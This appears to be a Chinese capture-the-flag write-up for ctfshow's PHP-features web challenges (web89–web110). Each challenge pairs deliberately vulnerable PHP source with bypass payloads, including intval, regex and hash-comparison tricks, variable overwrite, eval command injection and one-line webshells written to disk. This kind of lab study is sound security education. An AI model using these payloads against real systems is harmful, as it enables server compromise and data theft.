ctfshow-web入门-php特性(上)
web89(数组绕过正则表达)
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
PHP intval() 函数 intval() 函数用于获取变量的整数值。 intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1 语法 int intval ( mixed $var [, int $base = 10 ] ) 返回值 成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。 最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。 字符串有可能返回 0,虽然取决于字符串最左侧的字符。
payload:?num[]=1
web90(intval函数的使用)
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
这里用到了 intval()的特性 可以用十六进制 payload:?num=0x117C
web91(正则表达式修饰符)
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
/i 表示匹配的时候不区分大小写 /m 表示多行匹配,匹配换行符两端的潜在匹配。影响正则中的 ^$ 符号 在第一处 preg_match() 中我们可以看到有一个 /m ,我们可以在这里进行换行绕过 因此这里payload:?cmd=%0aphp
web92(intval函数的使用)
include("flag.php");
highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
同 web90
web93(intval函数的使用)
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
这里用不了 16进制 的 0x 可以尝试用 8进制 的payload:?num=010574 同样是对intval()函数的特性考察
web94(intval函数的使用)
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
PHP strpos() 函数 查找 "php" 在字符串中第一次出现的位置: 语法 strpos(string,find,start) 返回值 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。 注释:字符串位置从 0 开始,不是从 1 开始。
因此strpos()函数这里我们可以用 换行%0a 进行绕过 ①payload:?num=%0a010574 也可以尝试用 空格%20 进行绕过 ②payload:?num=%20010574 intval()函数只尝试读取整数部分,可以使用浮点数绕过 ③payload:?num=4476.0
web95(intval函数的使用)
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
不能再用上面的浮点数绕过,但①②还可以用 因此strpos()函数这里我们可以用 换行%0a 进行绕过 ①payload:?num=%0a010574 也可以尝试用 空格%20 进行绕过 ②payload:?num=%20010574
web96(路径问题)
highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
highlight_file() 函数 对文件进行语法高亮显示 语法 highlight_file(filename,return) 返回值 如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。否则,若成功,则返回 true,失败则返回 false
这里对 highlight_file 函数进行漏洞利用 payload:?u=./flag.php
web97(php中hash比较缺陷)
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
md5碰撞,尝试 数组绕过 paylaod: POST:a[]=1&b[]=2
web98(三目运算符的理解+变量覆盖)
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?>
$_GET?$_GET=&$_POST:'flag'; 如果存在GET请求,则将POST请求覆盖掉GET请求 highlight_file($_GET['HTTP_FLAG']=='flag'?$flag: __FILE __); GET传参HTTP_FLAG的值为flag,则读取flag payload:?flag=1 POST:HTTP_FLAG=flag
web99(php弱类型比较)
highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?>
$allwo = array(1,'2','3'); var_dump(in_array('1.php',$allow)); #结果为 true $allow = array('1','2','3'); var_dump(in_array('1.php',$allow)); #结果为 false in_array 延用了php中的==
payload:?n=10.php POST:content=<?php system('cat *');?>
web100(and与&&的区别+反射类ReflectionClass的使用)
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
and与&&的区别 <?php $a = true and false and false; var_dump($a); #结果为 true $a = true && false && false; var_dump($a); #结果为 false
反射类ReflectionClass的使用 <?php class A{ public static $flag="flag{xxx}"; const PI = 3.14; static function hello(){ echo "hello</br>"; } } $a = new ReflectionClass('A'); var_dump($a -> getConstants());#获取一组常量 #输出 array(1){ ["PI"]=> float(3.14) } var_dump($a->getName());#获取类名 #输出 string(1)"A" var_dump($a->getStaticProperties());#获取静态属性 #输出 array(1){ ["flag"]=> string(9) "flag{xxx}" } var_dump($a->getMethods());#获取类中的方法 #输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }
payload: ?v1=1&&v2=echo new ReflectionClass&v3=; 非预期① paylaod:?v1=1&v2=var_dump($ctfshow)/*&v3=*/; #直接输出$ctfshow;构造出 var_dump($ctfshow); 非预期② payload:?v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
web101(and与&&的区别+反射类ReflectionClass的使用)
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
web102(hex2bin函数)
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); } ?>
is_numeric 在php5的环境中,是可以识别十六进制的 例如:var_dump(is_numeric("0x66")); #php5的环境下返回true php7返回false 所以当我们在 php5环境中 可以将一句话木马编译成16进制传入 如: v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php #<?php eval($_POST[1]);?> POST:v1=hex2bin
在 php7 环境中 可以尝试找到一个 纯数字的 base64类型shell,再通过base64解密 payload: v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php #<?=`cat *`; POST:v1=hex2bin
web103(hex2bin函数)
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); } ?>
payload同上
web104(hash缺失比较)
highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } } ?>
①数组绕过 v2[]=0 POST:v1[]=0 ②hash值相同 aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
web105(php变量覆盖)
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?>
只要我们令三个变量 $error $suces 任意一个值为 flag ,就能通过 die 或者 echo 输出 ①通过error 输出 payload: a=flag POST:error=a ②通过suces输出 payload: suces=flag&flag=
web106(hash缺失比较)
highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?>
payload同104
web107(parse_str函数)
highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } ?>
parse_str() 函数把查询字符串解析到变量中。 语法 parse_str(string,array) 注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
patlaod: v3=1 POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b
web108(ereg %00切断)
highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ //strrev()字符串反转 echo $flag; } ?>
payload:c=a%00778 887 为 0x36d 的十进制数
web109(php 异常类)
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } } ?>
v1和v2至少要匹配到一个字母,且v1和v2 new后面有一个类不报错 任意找一个php的内置类使得其不报错 payload: v1=ReflectionClass&v2=system('tac f*')
web110(FilesystemIterator 类使用)
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); } ?>
getcwd()函数 获取当前工作目录 语法 getcwd();
payload:v1=FilesystemIterator&v2=getcwd